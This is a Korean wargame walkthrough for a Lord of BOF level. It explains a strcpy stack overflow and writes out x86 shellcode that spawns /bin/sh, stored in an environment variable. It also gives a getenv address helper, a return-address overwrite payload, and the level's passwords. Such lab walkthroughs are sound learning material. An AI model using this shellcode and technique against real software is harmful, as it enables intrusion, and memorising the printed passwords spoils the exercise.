id : gremlin
pw : hello bof world
로그인 해주고 bash2 입력 후 파일 확인
argv error
를 출력하고 프로그램을 종료.strycpy(buffer, argv[1]);
사용자로부터 받은 첫번째 인자인 argv[1]을 buffer에 복사
level 1과는 다르게 스택 구조가 이런 모습이다.
buffer의 크기가 너무 작아 쉘코드를 buffer에 넣긴 힘들고, 쉘코드를 넣을 수 있는 메모리가 필요하다.
환경변수를 이용해서 풀어야 할 것 같다.
환경변수 ?
프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임으로, 하나의 변수처럼 처리된다.
쉘에서 정의되고 실행하는 동안 프로그램에 필요한 변수
https://gliver.tistory.com/43환경변수 선언하는 방식 export (변수명)=(변수내용)
변수명과 변수내용 사이에 띄어쓰기 있으면 안됨.
환경 변수를 선언하고 나면 해당 변수가 메모리 상에 저장되는데, 쉘 코드를 환경변수로 저장하고 해당 쉘 코드를 메모리에 저장하고 해당 주소 값을 알아낸 다음 해당 주소를 ret에 덮어씌워주면 쉘을 실행시킬 수 있을 것 같다.
export GTT=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
위와 같이 입력하게 되면 환경변수가 선언된다.
변수명과 변수내용 사이에 띄어쓰기 있으면 안됨.
변수의 주소를 알아내기 위해 getenv
함수를 사용해 코드를 만들어준다.
getenv 함수?
getenv 함수는 C 및 C++ 프로그래밍 언어에서 사용되는 함수로, 환경 변수의 값을 가져오는 데 사용됩니다. %p 형식으로 해당 함수의 반환값을 출력하면 SHELL의 위치를 알 수 있다.
//lv2.c
#include <stdio.h>
int main(){
printf("shellcode = %p \n", getenv("GTT"));
return 0;
}
lv2로 제목을 설정하고 저장해준다
( esc -> :wq lv2 )
./lv2 하면 GTT의 주소가 나온다.
이 주소는 다 다르므로 직접 확인해야함.
cobolt의 버퍼의 크기는 16바이트이고, ebp까지 포함하면 20바이트가 된다. 20바이트의 아무 값이나 채워준 뒤 ret에 환경변수의 주소를 저장하면, main함수가 종료되고 ret을 실행시켜서 쉘 코드가 실행되고 쉘을 불러낼 것 같다.
`python -c 'print "A"*20+"\x0d\xff\xff\xbf"'`
bash$ my-pass
euid = 502
hacking exposed